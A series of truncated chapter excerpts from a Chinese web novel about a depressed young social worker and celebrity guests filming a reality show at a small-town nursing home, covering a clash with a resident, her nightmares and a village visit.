三人都表示“OK”,代澜赶紧进去一把将他叫醒,和吴楠涛赶紧收拾了下摆满文件的桌面才出功能厅。 就这么会儿功夫,何子游和徐扬帆,林彩院长和另一位戴着黑框眼镜,穿着深绿T恤,黑西装裤栓皮带的男人同时在门口碰面,几人说说笑笑,好不热闹。 见吴楠涛匆匆出现,林彩可算找到了可调侃的惯犯,毫不留情地拆穿笑他:“涛,又睡过头了啊?” “没啊,我早醒了好吧。” “你真当功能室这么大个玻璃窗前几天我白擦的!” “好吧院长,你视力真不错……5.0有吗?” 两人你来我往,倒是将瞌睡虫都赶跑了,一行人可算在沙发上落座。 其实下午让大家集中只是简单和各位再正式介绍一下两位代表领导。 一位是刚才和吴楠涛聊得欢的林彩,林院长,自从“百善”养老服务机构入驻暮镇敬老院以后就一直是她在任院长一职,有五年社工经验。 另一位就是“百善”机构的财务部部长周玮宁,往后都将代表“百善”出镜。 看着这位周部长向大家挨个握手致意,一副宽容仁和的模样,代澜就忍不住想到这么正经的背后实际是申报项目资金流程拖贼久,斤斤计较要给公司省钱的铁公鸡。 不过只要不谈钱,周部长人还是不错的。 比如和其他领导相比,周玮宁在与敬老院的老人们相处时更愿意放下所谓架子一起玩,这点很难得。 短会开完,前脚刚送走领导,后脚刚回多功能厅,一声来自老人的呼喊兼顾“咚咚”敲门声将所有人的目光聚集,连带身后数个摄像机也跟着转:“哎,你们——” 眼看一位老爷爷以拐敲门,声量却是不符枯瘦身形的大,一吼急嚷嚷的:“你们什么时候弄完 6. 涧石蓝 《蓝色故事[救赎]》全本免费阅读 “我就是讨厌你们这种弱不禁风,只会抹胭脂水粉的娘炮,插个线都插不了,真丢我们男人脸!” 他一手揽着自个儿的大保温杯,敲着二郎腿,斜倚着靠背没个坐样,脸上摆出轻蔑,此刻不论是有人服软或是顶嘴,无疑都是助长何木林的气焰。 其实当初代澜和吴楠涛询问敬老院一众老人是否愿意参演《多维》时,十一位老人里有三位老人投的不赞成票。 其中最坚决反对的一票就来自何木林。 何木林在会议上的反对理由是,节目组的入驻会打扰他的正常生活,讨厌有无关的人抢占他的空间,担心吵吵闹闹不得安宁。 影响当然免不了,毕竟《多维》也是大制作,摄制组在院里安排的多个摄像头以及摄影师总会让人不得不在意。 但节目组许诺,录制将以还原社工与老人们的普通生活为主,不额外增加剧本环节,只追求百分百真实,除了需要几位摄像师参与跟拍,其余基本采用固定摄像头录制节目,尽最大努力减少外力影响。 也就是说,何木林所担心的事情发生可能性非常小,只需要当又多了几个为他们服务的社工,以及接受出镜即可。 吴楠涛如此解释后,先前还跟何木林同样持反对票的盘少雄和何明明转了风向,尽管他们同意的理由各不相同,但都加入力劝何木林同意的行列。 只是何木林当下并未松口,而是在改天代澜准备再去争取同意票时突然就答应了,还说自己一定要出镜。 事后提交协议书到公司时,吴楠涛还以为是她施展了什么神通能让何木林的态度一夜之间转了一百八十度。 那时她也想不明白,如今才懂,原来这个老伯伯还要玩“忍辱负重”这套,可代澜这时候才明白已经晚了。 现场气氛自何木林那句“娘炮”“小白脸”出口就凝成寒霜,余渔不知何时捏住代澜外套下摆,扯了扯又凑到她耳边,气声说话:“小澜,这老人家平常火气一直这么大吗?怎么办啊,这才第一天。” 代澜身子刚歪过余渔那头想回复,就见刚走到音响旁边的吴楠涛又兜回来,朝角落里的摄像师举手示意,她见状,先将回答余渔的事放一边。 毕竟在场只有吴楠涛和她是正式社工,怎么样也得扛起这份责任。 而结合前面提到的“炒作”,显然这位搭档也明了何木林的那点小心思——既然你们想炒作,那我就来加点料,你不让我舒服,那我也不让你舒服呗。 “你平时怎么和我们嚣张都无所谓,但是你也好歹知道点分寸吧?怎么能这样说人……”吴楠涛忿忿。 “好了好了涛哥,好了没事……”吴楠涛话还没说完,一条手臂便横在他要继续往前堵的路上。 一看被唯一能和自己争几句的人被截停,何木林顿时更轻蔑,撇嘴轻哼句“切”,换了只脚继续跷二郎腿。 只见何子游以肩作势拦住气冲冲的男人,在他耳畔轻声说了些什么,再拍拍对方的肩,吴楠涛便抑住要吵的冲动,虽然脸上还是板着,好歹转身离开战场,修他的音响去了。 就在代澜以为何子游也会站到何木林那套单人沙发跟前去发表些和平言论时,出乎意料,他一句话没说,径直往和何木林对称拜访的另一套单人沙发上落座。 还学着他的模样,白色运动裤衬腿修长翘起二郎腿,白色运动鞋尖一挑一挑地居然同样复刻出对方的姿态,但与之不同的是似乎比狂妄的度更浅,又不失张扬作态,饶有兴致地望向对面的战场主角。 “他们在干嘛?这不吵起来?” 代澜困惑地瞥一眼余渔,没想到她身份竟从义愤填膺当事人转成起哄的吃瓜群众这么快。 后者给了她一个“憨厚”的笑容。 再一看宋汝然和高荔,从何子游下场就一声不吭给后排老人分水果安抚去了。 反倒是她自己看不懂了? “你学我做什么?有病啊?” 沉默地对弈中,还是这位老伯更耐不住躁动的性子。 长指漫不经心地点额尤为招惹视线,何子游笑里从容,嘴上却调侃得紧:“这不是学一下什么叫硬汉吗?” 眼见何木林怒目圆瞪,他抬手立马止住又安抚:“阿伯,开玩笑呢,让你不舒服了是我不对,别生气,别生气。” 但前脚才含笑道“不对”,何子游后脚就正颜,二郎腿收敛坐正,唯余右手搭上扶手,比刚才更拉近距离:“但是我觉得尊重是相互的,是吧?” 六十好几的人哪里不知这道理,此次过来就是为宣战,当然要“明知故犯”。 于是何木林索性无视对方,昂头鼻孔出气送了个白眼,抓起他那宝贝保温杯旋盖就要喝水。 “一个人是‘小白脸’还是‘硬汉’,只与个人身体素质相关,甚至这些还能通过后天改变,可见并不能以外表定性。” 丝毫未受到这波“无视”攻击,何子游不慌不忙继续发言:“我猜老伯你也不是为了骂几句我们‘小白脸’才过来的吧?” 被硕大保温杯遮住脸的当事人在听见这话后,吞咽动作一滞,很快如常。 这细节代澜尽收眼底,她猜一直全神贯注和他对话的何子游应该也注意到。 “如果是想给节目炒作的话,我想你的目的已经达到了,但我们不会生气,更不会因此离开节目组。” 他声声劝慰,温和却不容置疑。 “所以,你真正的诉求是什么呢?” 这位从开始就如定时炸弹一般登场的老伯在此刻却忽然消了气焰,双手高举着他的保温杯,喝着“无穷”的水,不止要喝到何时才是尽头。 沉默不过二十秒,何子游先递了台阶:“我们会静下心来把社工当成事业来做,尽管它是短暂的,但自从我们来了,就没把它当成游戏……” “要不然,我们就走着瞧?”他忽然又来了这么一句,在氛围几乎要走向严肃时猛地跳到另一端,前后反差似乎只是呼吸之间。 奇妙的是,何木林貌似还真吃 7. 挼蓝 《蓝色故事[救赎]》全本免费阅读 和何子游重逢之前,代澜对他的印象只有小时候的碎片记忆。 一如午后梦境里的他,高挑纤细少年郎,一身以红为基调的校服也掩不去周身淡然。 后来是火场一见,血色将他半臂吞噬,也是她第一次见何子游在常年寡淡情绪中多出半分狰狞,于崩溃边界濒临失控,亦咬牙克制的模样。 接着是收到他的信,落下也许只有自己当真的烙印,还有年年更多的回礼,以及近年在娱乐新闻里频频出现的身影。 他们似乎在某一瞬间以真实面孔靠近过,后来又渐渐模糊。 而如今,他再度出现,一个年长她三岁的哥哥,受父母之托在工作上多关照自己。 除去她心有食言的愧而致对于见他一事有些抵触,代澜觉得仅此而已。 可现在的何子游好像和她印象里的那个清冷而疏于人情的大哥哥不太一样。 比如他方才巧辩,几句话便将满身火气的何木林擎住,为双方都递上台阶,让一场录制事故完美落幕,还顺便留了个让何木林纠结的引子。 又比如此刻他垂眸望她,目光涟涟染了来自橘瓣的一点萤。 更近人情。 她没有特意关注何子游在成名之后的动态,自然也不知道他如今变化。 其实所思不过一瞬,何子游向她讨砂糖橘也不过几秒,代澜从思维发散中回到原点,如常在盘子里选了两个递给他。 一来一回这便完成。 “谢谢。”他伸手接过,代澜传递时仍保持着昂头姿势,顺其自然瞧见他细长指节。 联想方才看见的点额,她莫名期待能现场看一次何子游弹些什么乐器,应该会很赏心悦目。 不过对方并不知她心中所想,拿了砂糖橘,那团盘旋在她头顶的“乌云”才消散。 一曲悲壮版《明月几时有》终于结束,代澜起身帮忙摁下一曲,回头却见何子游优哉游哉从第二排跨过来,没多犹豫就落座她旁边的位置,见她回头,还举着一瓣晃晃打招呼。 所以刚才还要她递砂糖橘是什么多此一举? 电视上缓缓渐变出下一曲歌名,代澜回归原位。 两人在叫牌嬉笑声,嗑瓜子声和没个调调的歌声里独划了一方空间,默契而沉默地掰着橘皮。 她对于何子游的靠近尚未想明,既有防备,也有试图放松的期许。 庆幸对方没有让她将面具戴到底,紧绷中小心伸出触角,试探安全的味道。 这场无言剧本进行到半小时后被喊断。 代澜伸手去摸砂糖橘时只捞到空落落,“没了……”何子游指着空空的盘子提醒,鞋尖又划拉一下地上放水果的纸箱,里面还剩下杆和叶。 “没事,下乡的时候顺便买就好。”她宽慰,从左手边的抽屉里掏了包湿纸巾出来,随手抽了张递给对方。 “对了,其实——”她先叹气,最终还是决定将酝酿已久的话化为闲谈里剖出,放轻声音,“何木林很害怕大家不在意他。” “也许是因为过去的一些遭遇吧……”代澜也不便说得太清楚,毕竟涉及隐私。 柑橘染得指尖和甲缝渐黄,又借湿纸巾将植物清香传递:“他很别扭,不会这么容易承认自己的需求,所以才会做些出格的事来表达自己需要被看到。” “当然,我也不认同因此他就可以采用这么过激的言辞,为了自己而攻击无辜的人,还捅出这样的娄子……” “我晚点会去和他谈谈,还你们一个公道。但在此之前我想和你道歉,毕竟我是这里的社工……” 她又揽错。 似乎总有一种引力,冥冥中将不论是他人还是与自己哪怕掺了一点关系的过失错误都归咎到自己身上,她身不由己,无法摆脱,甚至落入极端。 如果当时我能及时发现何木林的意图,今天就不会发生这么尴尬的事情,公司也会追责,给节目组也带来了困扰…… 擦拭的手不知何时变成撕刮皮肤,甲缝早已伤痕累累又添上颜色。 将话说出口之前她尚未有如此强烈的,将自己往更深处一点一点下拽的感受,可说出后反而越来越较真,从心底里传来钻蛊惑和渐渐心痛。 像疲惫地停在一处休息,只要几秒即可,但忽然地面陷落,原来那是沼泽,将她紧紧缠住,无法自拔。 她知道这种情绪的后果,在来临时拼命挣扎。 “不用。” 有人路过,忽然朝她伸手。 动作一顿,她侧脸看他。 那些自开口就停留在何子游脸上的忧虑,在此刻消融为笑意和恍然:“他会这么做的原因,我猜得大差不差吧。” “我能理解,但你也不用向我道歉,这事情的责任不在你,而是他。” “但是我本该在征求参演意见的时候就了解清楚他最后同意的原因呀,他一开始是反对的……是我失职导致了后续的发生。” 她心跳有些快,有声音在脑海嘶吼,在蛊惑,在顽劣抵抗,加速催熟忧郁的果实。 就是你的错,如果不是你,就不会有接下来的一切,这是连锁反应,都怪你,都怪你,只怪你。 “可是阿澜,”何子游的眼神如海,有风纵弄海面,最终摇响深谷暗涌,拨弄种种隐晦情绪,“他是成年人。” “他该为自己做的每一个决定负责,而你在决定之外。” “可如果我知道……”她急起来就鼻酸,强烈的要将自己推落谷底的情绪涌上来,刺得她大脑像发胀的泡沫。 “可是没有如果。”他更决绝斩断她要自揽的后路。 “你不是他肚子里的蛔虫,不知道很正常,就算不是这次,也会有下次,”何子游循循善诱,教她一步步从泥潭里逃脱,一条条辩明疏解,“这是他自己的决定,是他自己签下的参演书,是他自己要无理取闹。” “所以你不需要道歉,也不必自责,接下来安心。”他声音如流水淙淙从乱石中穿插而过,熄灭她颤抖着似有蓄势之意的火苗。 “好不好?” - 结束洗漱躺在床上的代澜盯着天花板沉默。 她似乎变得越来越敏感了,竟然会忘记还在录制就崩开理智的限制,在说好避嫌的哥哥面前情绪差点坍塌。 有些后怕…… 回忆下午差点落入旋涡,还好被及时拉住,失控的船才在撞上冰山前缓缓停下,她翻身蜷起腿,乌龟抱枕抵住心似乎才安心些许。 卫生间水声渐停,宋汝然应该快洗完了。 伸手在床头柜上摸来蓝牙耳机,抒情曲回荡耳畔为代澜隔绝出唯有自己的狭窄空间。 微信有人找。 “明天下乡,大家记得按群公告说的那样做,随身包小的就够了,带齐东西,中午我们可是不回来的喔。”来自吴楠涛。 “1。” “1。” 何子游和她都秒回。 代澜正编辑提醒大家带伞的句子,余光就见宋汝然一手用毛巾搓着湿发,另一手托着手机出来:“小澜,明天下乡收集信息要自己带笔记本吗?” “不用,有信息登记表,按着填就好了。”她没法一心二用,摘了一边耳机回答了宋汝然才接着打字。 宋汝然得到答案便去吹头发,一时房间里弥漫吹风机的“嗡嗡”声。 正当她百无聊赖缩在被窝里翻今天的微博热搜时,一条信息叫走了她的魂,“小澜,你现在是不是在拍综艺啊?” 点开小窗,是大学舍友苏恩怡。 “快回回我呀,你还在暮镇 8. 挼蓝 《蓝色故事[救赎]》全本免费阅读 如白羽悠悠落下,擦过坚硬外壳,她的话让代澜微怔。 但她所思显然与宋汝然所希望得到的回馈南辕北辙。 我? 笑起来好看? 不可能。 几乎是一秒内便将这可能性完全打入死路。 有另一个自己尖酸刻薄嘲讽她,将那束光狠狠夺走,再重新推她入黑暗。 代澜知道宋汝然的好意,但这些好意于她而言,如同隔着一层厚玻璃。 外界阳光灿烂,她蜷缩在玻璃壳里希望得到阳光的照拂,可那一丝丝暖意似乎永远也传递不到她掌心,明明一切都在眼前,可是偏偏她一点都感受不到,可望而不可得。 早在确诊抑郁和焦虑症时,她就听见来自不同人的劝慰,安抚,但一切是那么遥不可及,无能为力。 听得太多,她患上了奇怪的免疫力。 所以这些充满善意的话,她会收下,但,也仅限于此。 “谢谢你。”代澜打起精神,目光停留在她们交握的手上,轻轻地捏了捏她柔软的指尖。 她能感受到安慰之人是否真心,对于他们,她万般珍惜。 “我也想早点习惯,”代澜还以微笑,用调侃掩饰真实,“要不然也没法继续往下录了。” “唔……”宋汝然抿唇,代澜设下的防备似乎太明显,叫人想靠近却被隔绝在外。 但她不能直说。 代澜将面前之人的所有细微情绪都收进眼底,宋汝然也必定知道自己的沮丧被摊开的用意会被她知晓,但很抱歉,她还是无法松口。 “好吧,”宋汝然最终还是敌不过她,攻心第一次失败,杏眼里酿着一汪落寞,“我和你谈之前还把摄像机给关了呢。” 关了? 代澜下意识望向那个摄像机,那只独眼失去光点,暂时闭上了窥探的窗口。 “你不说,我都忘了。”她是真的忘了。 两人相视而笑,没在莫名涉及的昏暗里沉沦太深。 这夜宋汝然拉着代澜说了很多,教她在节目组怎么应对,摄像什么时候可以暂停,她可以怎么暂停,隐私该如何得到更好的保护…… 录制开始前,节目组曾经和她介绍过相关事项,但显然没有宋汝然教得细,和贴切被摄影人的需求。 她甚至拿出笔记本记下些要点,毕竟如今脑袋就像被灌了水泥,既沉重,也让外界很多讯息无法进入,只能逼迫自己记得记下,记得去看。 ——虽然还是会有错漏的时候。 落下最后一笔,代澜终于安心。 “其实要说我们这几个嘉宾……诶小澜,录制之前你最了解我们谁啊?” 在聊注意事项时,宋汝然总不免聊起各种曾经在录制中途遇见的八卦。 女人爱笑,梨涡浅却耀眼:“就算不是粉丝,也有路好的吧?涛哥是余渔的路好,那你呢?” 路好,意思是路人但对某人有好感。 “我……好像都没有吧?”她努力伸手将笔记本放回床对面的桌子上,不落下回答。 “咦,真的假的?”代澜余光还在留意正瘫成“大”字的女人,却没想到这答案竟让宋汝然反应如此大,以至于立马坐起身。 总差一点点,就够到桌子了,可她又不想穿拖鞋走那几步路……代澜索性放弃,直接用抛的方式让笔记本归位。 三、二、一…… “但是何子游说他认识你诶,我还以为他是专门……” “哗啦啦”。 笔记本里的便利贴顺着不完美的抛物线散落一地。 何子游怎么会和宋汝然说这些? 扔出手的瞬间,这问题扑进耳畔。 分心了…… “要我帮你吗?”代澜最终还是没逃过要下床的命运,趿拉着拖鞋一张张收拾时,身后传来憋着笑的一句。 显然对方也没想到这句话会带来这么大的威力,足以…… 足以让便利贴变成雪花纷纷。 “不用,不用。”蹲在地上,她匆匆婉拒,一是便利贴上大多是自己长年累月的心事,二是她并不想让对方看见她此时表情。 他怎么会跟宋汝然说……后半句到底是什么呢? 她本不愿做过多猜测,扰乱心神,但好奇心终占了上风,心乱如麻。 “本来是聊天聊起来我要去体验社工,他就提起,说自己有个做社工的朋友。” 十三张…… “我就赶紧说能不能和这位朋友先取取经呀?” 三十二张…… “这不巧了,聊着聊着,发现我们好像要在一个地方工作。” 五十张…… “接着,他就来了……” 六十七张。 所以今早第一面,那句“可爱”是这样的来源。 过去与真相串合,回形针也扣紧,将便利贴收进笔记本里,她回到床沿。 即便脸上情绪伪装风轻云淡,但将被角越攥越紧的指节依然泄露了内心。 “确实认识,但是并不算很熟。” 思绪穿梭在寥寥几句编制而成的乱麻中,事实冲击太快,她显然没有多余脑力再去思考太多,只能坦白。 “小时候住一个大院的关系,但是他比我们大,一般不和我们一起玩,长大了后就更少见了。” 她猜不透何子游到底跟宋汝然说了多少,只能拣大概来说。 当然,最重要的交集她更不想提,于是自然忽略。 趴在蓝枕上的女人对着回答若有所思:“他和我说的也是这样,差不多。” “有个大明星是小时候认识的人,换我我直接就粉了啊,你居然对何子游连路好都不是……” “那你来当我粉丝吧!姐带你吃好喝好!” “啊?” 余下的笑语随着代澜发觉时间已过十二点而匆匆收尾。 房间很快被漆黑浸没。 但她却失眠。 直至听见隔壁床呼吸声规律渐稳,代澜才轻轻爬起,将藏在抽屉里的药服下,步步陷入梦境。 - 睡不安稳。 梦里她浑身被沉重铁链捆住,如同爪牙紧紧纠缠,每前进一步便扣得更死。 逃不掉。 又回到了那火场,铁链将代澜扣死,四肢钉在原地,最后眼睁睁望着那个少年被火吞噬而亡,血肉崩塌清晰如亲见。 有火龙从何处迅猛冲出将她覆灭。 醒了。 代澜苏醒一瞬,先感知到的是自己正大口大口地喘着气。 现实中胸口剧烈起伏加速意识的回笼,人逐渐获得四肢的操控权。 她的手指试探性地蜷。 活过来了…… 耳畔不再是火将建筑包围,席卷成炼狱的爆鸣声,现在是声声清脆鸟鸣,婉转于这方隐约透出挼蓝的空间。 手背蹭了蹭额头,快二月了,呼出的还是寒气却睡得依旧满头汗。 身侧宋汝然睡得安稳,代澜正纠结还要不要继续睡会儿,闹钟先替她做了选择。 今天要做的事情还有很多。 七点,按照昨天的排班表,代澜带着五位嘉宾去做第一次晨间巡房。 晨间巡房,自然不是简单地查看房间和老人,还包括了为老人测量体温和血压,检查宿舍用水用电安全,还有卫生等情况。 以此类推还有一次晚间巡房。 院内一共十一位老人,和他们一样住在安泰楼里,因此巡房是极方便的。 一套流程下来大概四十分钟左右。 各位嘉宾社工上岗第一天精神头都很足,说说笑笑走到楼下,恰好见一高一矮两个雨衣人拖着小车朝他们走来。 正在下大雨,小车车轮滚在泥泞地上与雨声碰撞,噪响偏大,由远缓缓而来,呆在这里这么久,代澜还是没习惯,忍不住皱眉。 两人走到楼下,先脱下紫色雨衣挂在墙边早钉好的钩子上。 高个女生终于露头,她与宋汝然年纪相仿,肤色偏黄,性子比较活跃,眼瞅矮个阿姨因紧张绷着不敢作声,她便先给大家打招呼:“嗨,嗨,早上好啊,我叫安心颖。” 而后她手肘轻碰身旁那位因羞涩而不敢出声的短发阿姨,阿姨伸手擦了把额上的雨水,憨厚笑道:“你们好,我叫李小时,是护工。” “好啦都认识完了,你们快去送早餐吧。”吴楠涛忍不住出声催促,毕竟老人们这个点早就饿了,都眼巴巴等着送早餐呢。 今晨忽然下大暴雨,敬老院里有规定,若是暴雨超过半小时且覆盖用餐时间过半,护工将会把餐品送到宿舍。 此刻所有老人都留在了宿舍没有出来,以免出现意外。 “好好,我们这就去……”安心颖殷勤地点头,拉着李小时和一车早餐上了电梯。 “那我也过去跟进了,”吴楠涛交代,将手头上记了老人们今日身体状况的表递给离他最近的何子游,“你们先去吃饭,吃完饭如果我还没回来就让小澜带你们操作。” “小澜,涛哥是去干嘛啊?刚刚不是已经有两个护工了吗?”一行人刚走到食堂,徐扬帆就问道。 代澜给自己打了碗瑶柱白果粥:“就是去帮护工的忙,看着老人进食,比如一楼住的廖芳芳就是全瘫痪,得帮忙把他抱起来吃之类的。” 当着摄像机的面,她不好说太多。 安心颖和李小时两人可不像表现出来的那么羞涩讨喜。 至于本性如何,日久见人心。 -< 9. 挼蓝 《蓝色故事[救赎]》全本免费阅读 伪装已成常态。 又或者说,是她早已习惯故意去模糊一些可深入探究的话题。 在高度防备下,代澜在自我之外设下铜墙铁壁,像在海岸的顽石,任凭风浪或细雨,也要固执地矗立。 外界的轻敲重锤皆是试探,她以平平无奇甚至随波逐流的答案应付或装模作样细答,反正不会有人是想真心了解,那便任由自我落入俗套,上下浮沉。 但与之相悖的是,她越竭尽全力放纵自己,以无数面具伪装自己,心中死守之地的纯洁就越让她无法放手。 每每代澜自我剖析,都如同在颅内展开第三视角去观看一场好戏,尽管如此清晰,却依旧似木偶被卷入其中,细丝拉扯,在撕裂的痛感中微妙地保持两方平衡,是她不由自主的答案。 车厢里的话题还在继续,只是早于她无关了。 代澜望向窗外,早晨大雨让破碎的路面积起水洼,前方还有一段路特别多坑,她选择提前将车窗拉上,避免轮胎滚过时将泥水泼进车里。 “完了,我好像有点晕车。” 代澜循声看,正见徐扬帆手背贴着额发,仰在靠背上支吾。 要说也是,他这么长的腿塞进小面包车座位里也着实难为了,代澜看着忍不下去,当场掏出手机偷偷给周玮宁发微信催买车。 “什么?你居然晕车?”这边正打字,耳畔便听见因为怕晕车而坐在副驾的余渔率先发问,但重点显然有些偏差。 “那你平时跑剧组出活动怎么办?诶,我和你换个位吧?” “不用……我一般睡过去啊……”他头靠车窗,路途到了最颠簸的区段,时不时就给徐扬帆当头一敲,但他却不换位置,咚咚直响。 收起手机抬头,代澜正好看见何子游脱下外套,迅速叠起塞在徐扬帆头下,她也重新拉开些车窗。 山风霎时灌入,将浑浊气息推出空间之外,令人耳目清明。 这样应该会对他好些。 果不其然,只需片刻,徐扬帆潮红脸色有了消退的趋势。 “要不然回程的时候你来开吧?”吴楠涛提高音量询问,“自己开的话没这么容易晕车。” “我没驾驶证呢……唔……” 代澜瞧着徐扬帆隐忍的样子,连忙递上备好的塑料袋,前排高荔也翻出了风油精塞到他手心,又顺手将她的塑料袋打开口替他接着,但男人硬是扛了过去。 正当代澜不知要怎么帮上忙时,车子缓缓靠边停下,“要不然在这儿歇一下?”吴楠涛回头关切,“过了这段,路况会好很多,抱歉啊,实在是没办法,已经尽量开稳了。” 其实还真难怪到吴楠涛头上。 要去的村是暮镇最偏僻的村,和主城镇隔了一座山,山路多急弯,坡也斜。 村里穷,不受重视,路也没怎么修缮过,长年累月早已坑坑洼洼。 小面包车本身就是老车,加上坑多,急刹放缓,再加速,一停一顿对容易晕车的人来说也是折磨。 徐扬帆似乎熬过这阵,从手掌后透出的声音发颤:“没事,是我自己的问题……以为不远就没吃晕车药。” 考虑到他的情况,大家索性下了车四处看看风景,代澜瞧了眼时间,离约好的十点还有一阵,等他状态好些过会儿再赶路也不急。 山路上只有小面包车以及后头摄制组的车,前不着村后不着店。 但好在,风景极佳。 雨后空气湿润清新,发动机歇了以后唯余昆虫和飞鸟哼唱。 他们停的这段正好没有高草丛和树木的遮蔽,几个人从山上往下俯瞰,城镇似乎裹了一层绵绵薄雾,山岭环绕,人之所在恍若掌中明珠。 “暮镇好小啊。”宋汝然伸了个特大懒腰,又边走边捏肩,活泛活泛身子。 方才她一直靠在代澜肩上睡觉,就连众人七嘴八舌都没醒,显然昨晚还是没休息好。 山里凉,何况更是雨后,耳旁忽然传来感慨:“好久没回到山里了。” 代澜侧目,说话之人是高荔。 “什么意思?”宋汝然不解。 “我老家是柳市那边的村,和这边差不多,也都是山。”高荔深呼吸,有风卷起她的发,颇有种女主回望波折人生,过尽千帆的意境。 代澜就站在高荔左侧,敏感如她,几乎是瞬间便感受到身侧人情绪的转变。 女人怀里的大衣被抻直再抖抖,落下些思乡意:“小澜说不是暮镇,那你是哪里人呢?” 她还未来得及从旁观者的角度抽离,便被高荔一句话扯入局。 “兰市。”这微笑似乎有魔力,驱使代澜不假思索给出回应。 长她七岁的姐姐听后若有所思:“兰市啊,我经常去那边拍戏呢,那儿真是个宜居的地方……” 就在代澜以为话题到此为止时,高荔一声“诶,自由”忽地搅得她心神大乱。 何子游出道艺名就叫“和自由”,怪,却人如其名。 “啊?怎么?”被点之人恍然,眉一挑,从沉浸式观察路旁树梢挂着的藤蔓中清醒,立马循声望来。 第一眼先与代澜相触,再第二秒转向高荔。 她为这一眼对视不明所以。 高荔再问:“我记得之前好像有个热搜,说你给老家捐款什么的,好像是晖县?我没记错吧?” “对。”何子游即刻承认。 “晖县也在……” “对,在兰市。” 代澜未见他有半分思考,就坦荡地将他们之间的关联点揭开一角。 甚至读到他语气中莫名的欣然? 还未来得及掂量清楚其中的玄机,两人的对话就被打断,后方陡坡突兀出现的马达声吸引了所有人的注意。 随着一辆男式摩托出现,一声招呼随之而至:“诶,老乡,这儿!” 代澜没想到吴楠涛居然将挥着手拦下那辆车,他们认识? 摩托车缓缓停到小面包车后侧方,吴楠涛似乎过去交涉,代澜担心有什么新情况需要帮忙,连忙走过去。 “阿帆!车来了。”刚走到,就听吴楠涛直接吼一嗓子,距离太近,给代澜震得眼都眯上。 她才了解情况,原来考虑到徐扬帆晕车,吴楠涛便联系了村里工作人员,叫了个刚好要回村的老乡直接开摩托车把人给捎过去。 这会儿徐扬帆直接上车,跟大家告别后,顺着山路一颠一颠消失在绿意尽头。 于是众人继续启程。 - 二十分钟后,一行人终于到达。 不得不说,这种崎岖山路有时开摩托车会更快。 他们刚拐进村子,就看见徐扬帆等在广场边上的村委会大门口,远远瞅见车子驶来就开始挥手,看来晕车的劲儿已经过去了。< 10. 挼蓝 《蓝色故事[救赎]》全本免费阅读 《多维》也算来得巧,一月底,春节将至,恰好碰上下乡探访五保户和低保户的时机。 昨天傍晚下班前,一行人开了个短暂的会议,主要商量明天的任务还有具体分工。 代澜分到记录档案,抽到签的那刻提着的心稍稍放下,庆幸至少不用和村民拉家常。 之前每每下乡,她都愁得很,面具带上,强迫自己扎破封在躯壳外的玻璃,小心地你来我往,还要兼顾手头上的表格,每次结束一场后背都出一身冷汗。 如同一个布娃娃,绞尽脑汁扮演人类行走,生硬,机械,连自己都唾弃。 本来社工这一行就需要接触不同的人,她却在这上面退缩,不知该不该打为失职,心总是煎熬的。 所以他们能来,也给了自己一个逃避的缺口,能够在焦虑中得到一丝喘息……她似乎在阴暗地庆幸。 冬季冷风钻入鼻腔,微微湿润却不似夏季那般粘稠,她慢步前进,忽地被谁撞肩,紧跟着代澜的手便被牵住。 那是一只骨感的手,灵活地顺着手心往下滑,扣住五指,将她的思绪打断,“我来了!”余渔忽然到来,浅粉长羽绒蹭上她的天蓝薄羽绒发出足够舒缓耳朵的沙沙声。 但她似乎并不为什么事而来,只是牵着手,肩并肩向前。 代澜的手冰凉,余渔就连带着她的手揣进自己的兜里,自然得像老友。 明明曾经对这种冒昧的,突进的行为总是谨慎甚至觉得厌恶…… 她瞥向余渔的侧脸,比她小一岁的女孩脸颊还带着婴儿肥。 余渔似乎很信任她,虽然不知道是为什么,但好像连自己也比想象中更容易接受他们的到来。 庆幸似乎是因为得到一点点幸福,身旁有人能并肩同行,而不止阴暗。 思绪间陆树广还在坚持不懈为大家科普,声音洪亮:“咱们暮镇分为三个村,大棠村,小棠村,还有下棠村,今天我们来的就是大棠村……” “陆姨,那上棠村在哪里啊?”为了问这一句,代澜被余渔挽着手也走快了几步。 这问题代澜从其他人嘴里听了没有七次也有六次,更何况是在大棠村上班的陆树广。 对方依旧耐心:“其实以前下棠村就是上棠村,当时没有下棠村来着。” “那为什么……” “因为打仗啊,”陆树广感慨,语气也随着感情而沉重,“那个‘上棠’跟开枪的那个‘上膛’同音,好不容易和平了,村里觉得这名字不吉利,就改掉了。” “原来是这样啊……”本以为平平无奇的问题得到意外答案,几位嘉宾脸上都渐显出与方才休闲不同的肃色。 陆树广背着手上坡,深蓝公文包在背后悬着一晃一晃:“这附近还有个烈士陵园呢,清明节村民都会去看看。” 村道随着山势而修,越往里越窄,但烟火气也越来越旺盛,傍山而居的村庄渐渐浮现在众人眼前。 几人继续沿路走不过十分钟,迎面的人从少至多,陆树广介绍说前面是村市场,十点多基本散市。 “大棠村基本都是老人和留守儿童,妇女也多,他们起来得早,市场就散得早,我们这会儿上门刚好。” 上了这个坡,再一拐弯,一条沿线都是贩卖蔬菜生肉以及各种日常用品的街便豁然展现在大家面前。 冬日里冒着热气的笼盏放在案上,里头藏着饱腹的包子,老板撂下扩音器声声吆喝着。 肉铺依旧忙碌,来迟的几个年轻人正和老板商量要哪部分猪肉,偶然一瞥见陆树广经过,立马打声招呼。 “好吃的流沙包、叉烧包、奶黄包……”宋汝然似乎被吆喝洗脑,像模像样,摇头晃脑地喊起来,有趣得很。 她不知不觉和代澜余渔并排走,余渔听她报了两轮菜名,哀怨道:“汝然你别念叨了,说说说,说得我都饿了。” “来来来——”陆树广走到一个小路口停下招呼大家,左手边一条坑坑洼洼的砖混泥路夹在两栋楼之间,“进路口了啊,别走丢了。” 村子里都是自建房,大多平房或两三层小楼,因为地势和土地规划,小路歪斜交错,还有不少坡,连代澜这种来过几次的都很难记得住路径。 但陆树广却能熟门熟路,领着大家兜兜转转,东拐西绕,一间小院眨眼间出现在路尽头。 “就是这里了。”陆树广终于宣告,此时距离一行人从村委会大门口出发已过了半小时之久,好在谁都没有抱怨。 小院大门紧闭,铁艺栅栏很高,但留空很大,能看见里面的菜园和低矮的灌木。 房子里依稀传来戏曲腔调,咿咿呀呀地回荡在白墙绿瓦的怀抱,别有一番意蕴。 只是两个月多没来,小院似乎没那么别致了,菜园里多了许多杂草, 11. 挼蓝 《蓝色故事[救赎]》全本免费阅读 下意识寻找奶奶视线的落点,最终所有人的目光都齐聚在高荔身上。 “哎呀,你和那个,二十三台晚上播的,叫什么来着……”似乎是见着喜欢的人,盘靖一时有些语无伦次。 